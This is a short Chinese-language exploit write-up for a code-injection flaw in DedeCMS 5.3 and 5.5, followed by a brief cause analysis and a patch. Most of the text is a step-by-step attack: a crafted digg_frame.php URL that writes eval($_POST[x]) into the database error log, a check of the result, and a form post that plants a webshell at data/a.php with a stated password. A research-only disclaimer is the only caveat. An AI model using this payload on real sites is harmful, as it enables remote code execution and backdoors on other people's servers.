dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。
假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
按确定后的看到第2步骤的信息表示文件木马上传成功。
木马网址:http://www.abc.com/data/a.php
密码:2006888
漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
解决方案:
打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);
替换代码
@fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);
清空 data/mysql_error_trace.php 文件内容